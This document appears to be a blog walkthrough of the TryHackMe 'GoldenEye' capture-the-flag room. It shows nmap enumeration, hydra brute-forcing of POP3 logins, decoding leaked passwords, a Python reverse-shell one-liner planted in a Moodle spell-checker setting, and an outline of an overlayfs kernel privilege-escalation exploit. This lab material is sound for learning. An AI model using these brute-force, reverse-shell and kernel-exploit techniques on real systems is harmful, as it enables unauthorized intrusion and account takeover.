TryHackMe — GoldenEye

10 min readJul 25, 2022

Today we are going to solve #GoldenEye CTF from #TryHackMe. This room will be guided challenge to hack James Bond styled box and get the root.

Let’s connect to their network and deploy the machine. Get the IP address — it may take a minute to get it.

Ping the IP to check if the room is up.

ping <IP>
ping 10.10.182.225

Now, let’s create a text file to store all the details.

subl readme.md

Task 1 — Intro and Enumeration:

Answer the questions below-

1- Use nmap to scan the network for all ports. How many ports are open?

Here, we would need to scan the network to check for all the ports which are open. So, let’s run the nmap command.

nmapAutomator.sh 10.10.182.225 All

Here’s the overview of all the ports that are open. From the below screenshot we can see that 4 ports are open.

Ans : 4

The ports that are open are — SMTP, HTTP, SSL and POP3.

Now, let’s try the HTTP port first. So, for this copy paste the IP in the browser.

Yayyyyy! We got the login page..

Open new tab and write — 10.10.221.192/sev-home/

This requires Username and password. We don’t have it so we would check the source page for http://10.10.221.192

There is one script “terminal.js”. Let’s us check what’s do we got there.

2- Who needs to make sure they update their default password?

Ans : Boris

We got one encoded password which we will save it in our readme.md file.

As we have found the encoded code, we would now decode it so that we can try it to login in the page that we found earlier.

We will use a tool from Github called decodify where we just need to enter the string and it gives us the decoded version automatically.

dcode <STRING>

Hurrraahhhhhhhhhhhhhhhhh……….!!!!!

We got the password — InvincibleHack3r . Ofcourse, our question’s answer too.

3- What’s their password?

Ans : InvincibleHack3r

Now, we will use this credentials to login to that page.

We will get the below page once we are able to login.

Task 2 — It’s mail time..

Let’s read the details that are given on that page. Take a look at some of the other services you found using your nmap scan. Are the credentials you have re-usable?

Let’s try to telnet to the IP using port 55007 (POP3)

telnet 10.10.221.192 55007

We got the error — “Authentication failed”

Answer the questions below-

Check the whole source page of this page. We have got the GoldenEye Network operators supervisors names — Boris and Natalya.

1- If those creds don’t seem to work, can you use another program to find other users and passwords? Maybe Hydra? What’s their new password?

They have already given us the hint to use Hydra. So, we will use Hydra to crack the password.

hydra -l <username> -P <path to the list of passwords> <IP address> -s <port number> <service name>
hydra -l Boris -P /usr/share/set/src/fasttrack/wordlist.txt 10.10.221.192 -s 55007 pop3

After hitting this command, wait for hydra to crack the password.

There you go! We have got the newpassword — secret1!

Ans : secret1!

We can now use this password to telnet to the POP3 service.

Yes!!! And we are able to login…

We are in the mail service system now and we can check the list of mails.

list

We have got 3 mails. Let’s read them one by one.

retr 1

retr 2

retr 3

Got one more username — Xenia. We can save it in our file.

2- Inspect port 55007, what services is configured to use this port?

Ans : telnet

3- What can you find on this service?

Ans : emails

4- What user can break Boris’ codes?

Ans : Natalya

We can use the dictionary attacks to get other user’s passwords too.

So, we will try if we can get Natalya’s password using hydra.

hydra -l Natalya -P /usr/share/set/src/fasttrack/wordlist.txt 10.10.221.192 -s 55007 pop3

Wowww..!! We have got her password too — bird.

Let’s use this creds too to telnet to the POP3 service.

telnet 10.10.221.192 55007

There you go… Try the same thing which we did earlier for Boris.

list
retr 1

We have got 2 mails here which we will check now.

retr 2

We got Xenia’s creds also from the second mail and other details too. Great.. Close the telnet connection now.

Task 3 — GoldenEye Operators Training:

Get exploit_daily’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

If you see in some of the emails we discovered, there is the severnaya-station.com website. To get this working, we need to update our DNS records to reveal it.

On Linux — Edit “/etc/hosts” file and add:

To edit file — sudo nano /etc/hosts

<machines ip> severnaya-station.com
10.10.221.162 severnaya-station.com

On Windows — “c:\Windows\System32\Drivers\etc\hosts” file

Once you have done that, in your browser navigate to: http://severnaya-station.com/gnocertdir

This is the training module. So, let’s try if we can login. You can try admin-admin just to check if it works or not.

We also have creds for Xenia. Let’s try that —

Username : Xenia & Password : RCP90rulez!

We are able to login using Xenia’s creds.

1- Try using the credentials you found earlier. Which user can you login as?

Ans : Xenia

Explore the whole profile. You will find a message from Dr. Doak so check what message he has for Xenia.

Ohhhhh!! We got another email username — doak. We will note to down.

2- Have a poke around the site. What other user can you find?

Ans : Doak

Let’s try to crack the password for Dr. Doak using hydra.

hydra -l Doak -P /usr/share/set/src/fasttrack/wordlist.txt 10.10.221.192 -s 55007 pop3

3- What was this user’s password?

Ans : goat

Use this users credentials to go through all the services you have found to reveal more emails. Now, we will check the mail service for Doak. We have got one mail.

We got Dr. Doak’s credentials for that severnaya-station site. We will try to login using the below creds —

Username — dr_doak & Password — 4England!

And yes!! We are able to login.

4- What is the next user you can find from Doak?

Ans : dr_doak

5- What is this users password?

Ans : 4England!

Let’s explore to Doak’s profile a bit more. Take a look at the files on the moodle (severnaya-station.com)

A secret text file for James.. Ahaaaaannnn!! Let’s save that file and check what’s inside it using cat command.

Something juicy??? Of course, as it’s admin’s password. Let’s check what it is..

Download the .jpg file using wget command.

Let’s see what can we get from this file. Using exiftool to get the details.

exiftool for-007.jpg

In the Image description, we have got base64 string so let’s convert it.

echo eFdpbnRlckE50TV4IQ== | base64 -d

Got the password for admin— xWinter1995x!

Try using the creds on the training portal and we would be able to login. As this user has more site privileges, we are able to edit the moodles settings. From here we can get a reverse shell using python and netcat.

HINT : Take a look into Aspell, the spell checker plugin.

Task 4 — Privilege escalation:

As per the hint, check the spell check plugins. So, we will check if there is any option for plugin related to spell check .

There are soooooooo many plugins.. Let’s see if there is any search option available from which we can search for spell check.

Yeah. We found one.. Now, we will try adding a reverse shell. You can search for it on any website OR you can create your own. I am using a python code from pentestmonkey cheatsheet and will update the code as per my requirements.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>”,<Port number>))

You can use any random port.

I am using #pwncat tool here to get the shell but you can use the one mentioned on TryHackMe too. It’s not an issue.

Added the python script in the spell checked plugin and started listening mode using pwncat. Later, I did any entry in the portal.

There you go.. Got the shell..

1- What’s the kernel version?

Ans : 3.13.0–32-generic

This machine is vulnerable to the overlayfs exploit. The exploitation is technically very simple:

Create new user and mount namespace using clone with CLONE_NEWUSER|CLONE_NEWNS flags.
Mount an overlayfs using /bin as lower filesystem, some temporary directories as upper and work directory.
Overlayfs mount would only be visible within user namespace, so let namespace process change CWD to overlayfs, thus making the overlayfs also visible outside the namespace via the proc filesystem.
Make su on overlayfs world writable without changing the owner
Let process outside user namespace write arbitrary content to the file applying a slightly modified variant of the SetgidDirectoryPrivilegeEscalation exploit.
Execute the modified su binary

We can download the exploit from here: https://www.exploit-db.com/exploits/37292

We can save the code using subl and then upload the code to a particular destination.